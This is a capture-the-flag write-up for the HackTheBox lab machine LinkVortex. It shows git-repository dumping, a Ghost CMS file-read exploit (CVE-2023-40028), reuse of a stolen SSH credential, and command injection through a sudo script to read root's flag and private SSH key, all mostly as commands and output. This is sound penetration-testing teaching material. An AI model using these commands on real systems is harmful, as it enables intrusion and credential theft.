Post

HackTheBox LinkVortex

Writeup for HackTheBox LinkVortex

HackTheBox LinkVortex

Machine Synopsis

Key exploitation techniques:

  • Exposed Git repository dumping
  • Default/hardcoded credential discovery
  • Ghost CMS arbitrary file read (CVE-2023-40028) via symlink upload
  • Credential reuse for initial host access
  • Symlink race condition (TOCTOU) in a sudo script
  • Arbitrary file read to obtain root SSH key

Enumeration

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.

1
2
3
4
5
6
7
8
9
10
❯ nmap -sC -sV -A 10.10.11.47

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache

The HTTP service redirected to http://linkvortex.htb/. The hostname was added to /etc/hosts.

1
echo -e '10.10.11.47\t\tlinkvortex.htb' | sudo tee -a /etc/hosts

webpage

Subdomain & Directory Enumeration

Subdomain enumeration with ffuf identified dev.linkvortex.htb.

1
2
3
4
❯ ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 7ms]
...

dev.linkvortex.htb was added to /etc/hosts.

dev_webpage

Directory brute-forcing on http://dev.linkvortex.htb/ with dirsearch revealed an exposed .git directory.

1
2
3
4
5
6
7
❯ dirsearch -t 10 -u http://dev.linkvortex.htb 2>/dev/null

Target: http://dev.linkvortex.htb/
[11:10:29] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/
[11:10:29] 200 -  557B  - /.git/
[11:10:29] 200 -   73B  - /.git/description
...(truncated)

Git Repository Dumping & Credential Discovery

The exposed .git repository was dumped using git-dumper.

1
2
3
4
5
❯ virtualenv htb_linkvortex && source htb_linkvortex/bin/activate
❯ git-dumper http://dev.linkvortex.htb/.git/ ./linkvortex-dump
[-] Fetching .git recursively
# ... (truncated)
Updated 5596 paths from the index

Analysis of the dumped repository revealed key information:

  • .git/config: Showed the origin as https://github.com/TryGhost/Ghost.git, confirming the application as Ghost CMS. The version v5.58.0 was also present.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    cat .git/config
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
    [remote "origin"]
        url = [https://github.com/TryGhost/Ghost.git](https://github.com/TryGhost/Ghost.git)
        fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
    
  • Dockerfile.ghost: Confirmed the Ghost version and indicated config.production.json as the main configuration file.

    1
    2
    3
    4
    
    cat Dockerfile.ghost
    FROM ghost:5.58.0
    COPY config.production.json /var/lib/ghost/config.production.json
    # ...
    
  • grep for “password” within the dumped files found a hardcoded password in ghost/core/test/regression/api/admin/authentication.test.js.

    1
    2
    
    grep -ri 'password' linkvortex-dump/
    linkvortex-dump/ghost/core/test/regression/api/admin/authentication.test.js:          const password = 'OctopiFociPilfer45';
    

    The password OctopiFociPilfer45 was identified. This is a common pattern where test/development credentials are left in production environments.

Exploitation: Ghost CMS Arbitrary File Read (CVE-2023-40028)

Ghost CMS version 5.58.0 is vulnerable to CVE-2023-40028, an arbitrary file read vulnerability that can be exploited by authenticated users via symlink uploads.

A PoC at this GitHub repository was used to exploit CVE-2023-40028. The GHOST_URL variable in the script was adjusted to http://linkvortex.htb..

1
2
#GHOST_URL='http://127.0.0.1'
GHOST_URL='http://linkvortex.htb'

The exploit script was run with the discovered credentials. Initial attempts with just admin as the username failed, but using admin@linkvortex.htb (the expected email format for Ghost login) succeeded.

1
2
3
4
5
❯ ./exploit.sh -u admin -p OctopiFociPilfer45
[!] INVALID USERNAME OR PASSWORD
❯ ./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file>

The exploit provided an arbitrary file read shell.

Extracting Credentials via Arbitrary File Read

Using the exploit shell, /etc/passwd was read to identify system users, and then /var/lib/ghost/config.production.json was targeted based on the Dockerfile analysis.

1
2
3
4
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
# ... (truncated)
node:x:1000:1000::/home/node:/bin/bash # Identified potential user

Reading config.production.json yielded additional credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  # ...
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth" # Critical finding
        }
      }
    }
}

The credentials for bob@linkvortex.htb/fibber-talented-worth were discovered.

The discovered credentials for bob were used to establish an SSH session to the host.

1
2
3
4
5
6
❯ ssh bob@linkvortex.htb
bob@linkvortex.htb's password: fibber-talented-worth
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
bob@linkvortex:~$ cat user.txt
33d559f112960e0c2b623909b7f30300

The user.txt flag was retrieved.

Privilege escalation was pursued by examining bob’s sudo privileges.

1
2
3
bob@linkvortex:~$ sudo -l
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The bob user could execute /usr/bin/bash /opt/ghost/clean_symlink.sh *.png as root without a password. The script’s content was reviewed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then # Vulnerable: CHECK_CONTENT can be injected
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then # Check (TOCTOU vulnerable)
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK) # Use (TOCTOU vulnerable)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/ # Use (TOCTOU vulnerable)
    if $CHECK_CONTENT;then # Command injection here
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

The script is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition and command injection via the CHECK_CONTENT environment variable.

Vulnerability Breakdown:

  1. TOCTOU: The script checks if $LINK is a symlink (test -L $LINK) and reads its target (readlink $LINK). If a symlink is created pointing to a dummy .png file, but then rapidly swapped (raced) to point to a sensitive file (/root/root.txt) between the test -L and readlink/cat operations, the cat command would read the sensitive file.
  2. Command Injection: The $CHECK_CONTENT variable is evaluated directly within an if statement (if $CHECK_CONTENT;then). If $CHECK_CONTENT contains a command (e.g., /bin/cat /root/root.txt), it will be executed by sudo (as root).

Exploiting TOCTOU & Command Injection

The strategy involved:

  1. Creating a temporary symlink (/tmp/exploit.png) pointing to another symlink (/tmp/fake.png) to satisfy the .png extension check.
  2. Initially pointing /tmp/fake.png to /dev/null (or any non-sensitive file) to pass the grep -Eq '(etc|root)' check.
  3. Injecting a command into CHECK_CONTENT.
  4. Executing the sudo command. A TOCTOU race would be needed if the script’s checks were more robust, but the CHECK_CONTENT injection alone is sufficient for RCE here. The symlink chain primarily bypasses the initial filename validation and internal grep checks.
1
2
3
4
5
6
7
8
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png # Initial dummy target
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/root.txt' # Command injection for root.txt
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected # Expected warning from shell, but command executes
Link found [ /tmp/exploit.png ] , moving it to quarantine
Content:
779d0ff9be29244ba048b546b98c7fec # root.txt contents

The root.txt flag was successfully read.

To gain a persistent root shell, the id_rsa file from /root/.ssh/ was targeted.

1
2
3
4
5
6
7
8
9
10
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa' # Command injection for root SSH key
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png # Recreate symlinks as they are moved
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/exploit.png ] , moving it to quarantine
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----
Content:

The root SSH private key was successfully retrieved.

Root Access

The private key was saved to id_rsa on the attacker machine and permissions were set correctly.

1
2
3
4
5
6
chmod 600 id_rsa
❯ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
root@linkvortex:~# cat root.txt
779d0ff9be29244ba048b546b98c7fec

Root access was obtained, and the root.txt flag confirmed.

OPSEC for Privilege Escalation:

Any temporary symlinks (/tmp/exploit.png, /tmp/fake.png) created during the exploit should be removed from the target system. The CHECK_CONTENT environment variable is temporary for the sudo command’s execution and does not persist.

1
2
3
  # On target machine as root
  root@linkvortex:~# rm /tmp/exploit.png /tmp/fake.png
  root@linkvortex:~# rm /var/quarantined/exploit.png # Remove the quarantined file as well
This post is licensed under CC BY 4.0 by the author.